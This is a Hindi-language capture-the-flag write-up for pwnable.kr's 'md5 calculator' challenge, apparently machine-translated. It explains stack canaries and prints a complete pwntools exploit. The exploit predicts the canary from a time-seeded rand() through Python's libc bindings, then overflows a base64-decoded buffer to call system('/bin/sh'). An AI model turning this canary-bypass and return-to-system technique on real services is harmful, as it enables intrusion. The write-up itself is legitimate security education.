Pwnable.kr 23 के साथ समस्या हल करना - md5 कैलकुलेटर। हम स्टैक कैनरी से निपटते हैं। अजगर में सी पुस्तकालयों को जोड़ना

इस लेख में, हम साइट pwnable.kr से 23 वें कार्य को हल करेंगे, पता लगाएँ कि स्टैक कैनरी क्या है और अजगर में libc कनेक्ट करें।

स्टैक कैनरी

कैनरी ज्ञात मूल्य हैं जो बफर के बीच रखे जाते हैं और बफर ओवरफ्लो की निगरानी के लिए स्टैक पर डेटा को नियंत्रित करते हैं। बफर अतिप्रवाह के बाद, दूषित होने वाला पहला डेटा आमतौर पर एक कैनरी है। इस प्रकार, कैनरी के मूल्य की जाँच की जाएगी और यदि चेक विफल हो जाता है, तो बफर अतिप्रवाह का संकेत दें। तीन प्रकार की कैनरी हैं:

1. टर्मिनेटर। कैनरी नल टर्मिनलों, सीआर, एलएफ और -1 से निर्मित हैं। परिणामस्वरूप, कैनरी को बदलने से बचने के लिए हमलावर को वापसी पता लिखने से पहले एक अशक्त चरित्र लिखना होगा। यह strcpy () और अन्य तरीकों का उपयोग करके हमलों को रोकता है जो एक अशक्त चरित्र की नकल करते समय वापस आते हैं, जबकि कुख्यात परिणाम कैनरी की प्रसिद्धि है।
2. रैंडम। बेतरतीब ढंग से उत्पन्न। आमतौर पर एक यादृच्छिक कैनरी प्रोग्राम आरंभीकरण के दौरान उत्पन्न होती है और एक वैश्विक चर में संग्रहीत होती है। यह चर आमतौर पर अनमैप किए गए पृष्ठों के साथ पूरक होता है, इसलिए किसी भी चाल का उपयोग करके इसे पढ़ने की कोशिश करना जो रैम से पढ़ने के लिए त्रुटियों का उपयोग करते हैं, कार्यक्रम को समाप्त करने के लिए एक विभाजन त्रुटि का कारण बनता है।
3. रैंडम XOR। रैंडम कैनरी जो नियंत्रण डेटा के साथ झगड़ा करती है। इस प्रकार, जैसे ही कैनरी या नियंत्रण डेटा भरा जाता है, कैनरी का मूल्य गलत होगा। उनके पास यादृच्छिक कैनरी के समान कमजोरियां हैं, सिवाय इसके कि कैनरी प्राप्त करने के लिए "स्टैक से पढ़ें" विधि थोड़ी अधिक जटिल है। हमलावर को सुरक्षा प्राप्त करने के लिए आवश्यक मूल कैनरी को पुन: उत्पन्न करने के लिए कैनरी, एल्गोरिथ्म और नियंत्रण डेटा प्राप्त करना होगा।

Md5 कैलकुलेटर नौकरी का समाधान

हम दूसरे खंड को जारी रखते हैं। मैं तुरंत कहूंगा कि यह पहले की तुलना में अधिक कठिन है और हमें अनुप्रयोगों के स्रोत कोड के साथ प्रदान नहीं किया गया है। यहां चर्चा के बारे में मत भूलना। चलिए शुरू करते हैं।

हस्ताक्षर md5 कैलकुलेटर के साथ आइकन पर क्लिक करें। हमें खुद को जोड़ने और कार्यक्रम के लिए पता और पोर्ट दिया गया है।



वे सब कुछ डाउनलोड करें जो वे हमें देते हैं, बाइनरी की जांच करें।



यह स्थापित कनारी और गैर-निष्पादन योग्य स्टैक के साथ 32-बिट योगिनी है। हम आईडीए प्रो में विघटित करते हैं।



कार्यक्रम में एक अंतर्निहित कैप्चा चेक है। हम दो कार्य देखते हैं जो दिलचस्प कार्य हैं: my_hash () और process_hash ()। पहले एक के साथ शुरू करते हैं।



चलो चर प्रकारों को फिर से परिभाषित करें और कोड को पार्स करने के लिए आसान बनाएं:



इस प्रकार, फ़ंक्शन कुछ यादृच्छिक संख्या लौटाएगा। इसी समय, v3 ईबीपी-0 xC के पते पर डेटा है। आइए एक और समारोह पर नज़र डालें।



यहां, चर v4 को EBP-0xC पते पर मान मिलता है, और फिर इस मान के साथ फ़ंक्शन से बाहर निकलने पर झगड़ा होता है। अगला, 512 बाइट्स को v3 वेरिएबल के लिए आवंटित किया गया है, कीबोर्ड इनपुट को g_buf वेरिएबल में पढ़ा जाता है। उसके बाद, g_buf से स्ट्रिंग को बेस 64 में डिकोड किया जाता है और v3 को लिखा जाता है। V3 md5 हैश से गणना की जाती है। इस प्रकार, g_buf और v3 पर कॉपी करने का इनपुट सीमित नहीं है, इसलिए एक बफर अतिप्रवाह है! आइए स्टैक पर एक नज़र डालें।



चर v3 बफर के बाद स्थित स्टैक कैनरी है। कार्यक्रम सिस्टम के फ़ंक्शन को भी कहता है। खैर, हम शोषण के लिए एक खाका तैयार करेंगे।

from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive() 

शुरुआत करने के लिए, आइए पेलोड को देखें। हमें सिस्टम फ़ंक्शन को पैरामीटर "/ बिन / श" के साथ कॉल करना होगा। लेकिन चूंकि स्टैक निष्पादन योग्य नहीं है, इसलिए हम सिस्टम फ़ंक्शन को कॉल करेंगे, प्रोग्राम में इसके पते पर नियंत्रण पास करेंगे, और एक पैरामीटर के रूप में, लाइन का पता "बिन / श", जिसे हम g_buf को लिखेंगे।

इस प्रकार (स्टैक को देखें): आपको 512 बाइट्स कचरा लिखने की आवश्यकता है, फिर कैनरी वैल्यू के 4 बाइट्स, फिर कचरे के 12 बाइट्स। अब रिट के लिए हमें सिस्टम फ़ंक्शन (4 बाइट्स), स्ट्रिंग का पता "/ बिन / श" (4 बाइट्स) और स्ट्रिंग "/ बिन / श" का पता निर्दिष्ट करना होगा।

अब अज्ञात को ढूंढें: सिस्टम कॉल पता।



यह 0x8049187 है। और स्ट्रिंग का पता "बिन / श" है। ऐसा करने के लिए, हमें g_buf पते पर पंक्ति "/ बिन / श" के लिए बाइट्स की संख्या को जोड़ने की आवश्यकता है, जो बेस 64 एनकोडिंग को ध्यान में रखते हुए - यह मूल मूल्य का 4/3 है।



यही है, लाइन का पता: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac। पेलोड ऊपर करो।

 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" 

यह कैनरी खोजने के लिए बनी हुई है। जैसा कि हमें पता चला, यह my_hash () फ़ंक्शन में यादृच्छिक मानों के साथ है, जिसके परिणामस्वरूप हमें एक कैनरी मिलती है। और सरंड (समय (0)) का उपयोग रैंड फ़ंक्शन के लिए बीज के रूप में किया जाता है। यही है, अगर हम अपने शोषण में प्रक्रिया को दोहराते हैं, और फिर भेजे गए कुकी से उत्पन्न मूल्य को घटाते हैं, तो हम कैनरी पाएंगे। अजगर में libc से रैंड () कॉल करें।

 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff 

वह सब है। पूरा कोड इस तरह दिखता है।

 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive() 

मैंने इसे कई बार चलाया और काम नहीं किया, तब मुझे महसूस हुआ कि इंटरनेट की गति और समय के अंतर के कारण, रैंड () का परिणाम मेल नहीं खाता है। सर्वर पर लॉन्च किया गया।



हमें वांछित ध्वज मिलता है। आप टेलीग्राम पर हमसे जुड़ सकते हैं।